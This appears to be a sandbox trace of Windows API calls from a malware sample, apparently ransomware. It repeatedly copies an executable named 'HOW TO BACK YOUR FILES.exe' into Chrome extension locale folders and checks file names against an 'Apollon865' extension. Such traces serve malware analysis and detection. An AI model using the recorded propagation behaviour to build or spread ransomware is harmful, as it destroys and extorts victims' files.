	[0047.720] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned 146
	[0047.720] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa"
	[0047.720] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.720] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.724] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.724] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348320b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348320b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.724] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.724] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.724] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.725] lstrlenW (lpString="messages.json") returned 13
	[0047.725] lstrlenW (lpString="Apollon865") returned 10
	[0047.725] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.725] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et"
	[0047.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad470 | out: hHeap=0x580000) returned 1
	[0047.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0047.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned 146
	[0047.725] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et"
	[0047.725] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.725] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.729] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34858210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34858210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.729] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.729] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.729] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.729] lstrlenW (lpString="messages.json") returned 13
	[0047.729] lstrlenW (lpString="Apollon865") returned 10
	[0047.729] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.729] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es"
	[0047.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad340 | out: hHeap=0x580000) returned 1
	[0047.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0047.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned 146
	[0047.729] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es"
	[0047.729] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.729] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.734] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.734] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34858210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34858210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.734] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.734] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.735] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.735] lstrlenW (lpString="messages.json") returned 13
	[0047.735] lstrlenW (lpString="Apollon865") returned 10
	[0047.735] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.735] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en"
	[0047.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad210 | out: hHeap=0x580000) returned 1
	[0047.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0047.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned 146
	[0047.735] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en"
	[0047.735] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.735] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.743] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34858210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34858210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.744] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.744] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.744] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.744] lstrlenW (lpString="messages.json") returned 13
	[0047.744] lstrlenW (lpString="Apollon865") returned 10
	[0047.744] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.744] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el"
	[0047.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad0e0 | out: hHeap=0x580000) returned 1
	[0047.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0047.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned 146
	[0047.744] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el"
	[0047.744] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.759] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348a44d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348a44d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.759] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.759] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.759] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.759] lstrlenW (lpString="messages.json") returned 13
	[0047.759] lstrlenW (lpString="Apollon865") returned 10
	[0047.759] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.759] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de"
	[0047.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5acfb0 | out: hHeap=0x580000) returned 1
	[0047.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0047.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned 146
	[0047.760] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de"
	[0047.760] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.760] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.764] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348a44d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348a44d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.764] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.764] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.764] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.764] lstrlenW (lpString="messages.json") returned 13
	[0047.764] lstrlenW (lpString="Apollon865") returned 10
	[0047.764] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.764] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da"
	[0047.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ace80 | out: hHeap=0x580000) returned 1
	[0047.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0047.764] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned 146
	[0047.764] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da"
	[0047.764] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.778] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.778] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348ca630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348ca630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.779] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.779] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.779] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.779] lstrlenW (lpString="messages.json") returned 13
	[0047.779] lstrlenW (lpString="Apollon865") returned 10
	[0047.779] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
